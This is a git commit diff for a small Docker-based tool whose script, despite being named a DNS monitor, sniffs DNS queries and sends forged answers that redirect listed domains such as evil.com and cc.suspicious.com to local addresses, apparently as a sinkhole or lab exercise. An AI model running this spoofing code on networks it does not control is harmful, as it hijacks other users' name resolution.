Initial commit

Dockerfile

+FROM ubuntu:focal-20200423
+
+
+RUN  apt-get -y update
+RUN  apt-get -y upgrade
+RUN  apt-get install -y python3-pip
+RUN  python3 -m pip install  --pre scapy[complete]
+COPY dns_monitor.py /home/dns_monitor.py
+COPY dmns /home/dmns
+RUN chmod +x /home/dns_monitor.py
+RUN apt-get install -y libpcap-dev
+RUN apt-get install -y vim
+RUN apt install -y iputils-ping
+
+CMD ["sleep", "infinity"]

dmns

+evil.com,127.0.0.1
+superbad.com,192.168.1.101
+cc.suspicious.com,127.0.0.1
+random.com,127.0.0.1
+roma.com, 127.0.0.1
+ran.com,127.0.0.1
+ok.com,127.0.0.1
+awd.com,127.0.0.1

dns_monitor.py

+#!/usr/bin/env python3
+
+from scapy.all import *
+import sys
+import socket
+import argparse
+import time
+
+domdict = {}
+
+class PacketMonitor: 
+    iface = None
+    
+    def process_packet(self, packet):
+        """
+        This function is executed whenever a packet is sniffed
+        """
+        if IP not in packet:
+            return
+            
+        if not packet.haslayer(DNS):
+            return
+
+        dns_layer = packet.getlayer(DNS)
+
+        if dns_layer.qr == 0:
+            ip_src = packet[IP].src
+            ip_dst = packet[IP].dst
+
+            domain = str(dns_layer.qd.qname.decode())
+            print(domain) 
+            toks = domain.split('.')
+            for key, value in domdict.items():
+                for i in range(len(toks)): 
+                    dmn='.'.join(toks[i:])
+                    if key == dmn :
+                        self.get_response(key,value,packet)
+                        break
+        elif dns_layer.ancount > 0:
+            if dns_layer.qd:
+                domain = str(dns_layer.qd.qname.decode())
+                for x in range(dns_layer.ancount):
+                    print(domain, dns_layer.an[x].rdata)
+
+    def get_response(self,key,value,packet):
+        spf_resp = IP(dst=packet[IP].src,src=packet[IP].dst,ttl=200)/UDP(dport=packet[UDP].sport, sport=53)/DNS(id=packet[DNS].id, qd=packet[DNS].qd, aa=1, rd=0, qr=1,qdcount=1, ancount=1,an=DNSRR(rrname=key, rdata=value,ttl=200)/DNSRR(rrname=key,rdata=value,ttl=200))
+        print (spf_resp.summary())
+        print (spf_resp.show())
+        send(spf_resp, iface=iface)
+        print("Spoofed DNS Response Sent: ",{packet[IP].dst} )
+
+       
+
+
+        
+
+    def sniff_packets(self):
+        if iface:
+            # `process_packet` is the callback
+            sniff(filter="port 53", prn=self.process_packet, iface=iface, store=False)
+        else:
+            # sniff with default interface
+            sniff(filter="port 53", prn=self.process_packet, store=False)
+
+    def __init__(self, iface):
+        self.iface = iface
+        pass
+
+
+
+
+
+
+
+
+
+def domain_reading(fname):
+    ddict = {}
+    textFile = open(fname)
+    for line in textFile:
+        key, value = line.rstrip("\n").split(",")
+        ddict[key+'.'] = value
+    return ddict
+        
+    
+
+if __name__ == "__main__":
+
+    parser = argparse.ArgumentParser(description="DNS monitor")
+    parser.add_argument("-i", "--iface", help="Interface to use, default is scapy's default interface")
+    parser.add_argument('-f', '--dmnsfile', help='Domain name file')
+    args = parser.parse_args()
+
+    domdict=domain_reading(str(args.dmnsfile))
+    print (domdict)
+    iface = args.iface
+    packet_monitor = PacketMonitor(iface)
+    packet_monitor.sniff_packets()
+    print ("he")
\ No newline at end of file

helpfull

+dos2unix dns_monitor.py --run python3 
+
+sudo ./dns_monitor.py -i enp7s0 -f dmns    (-i iface, -f filename)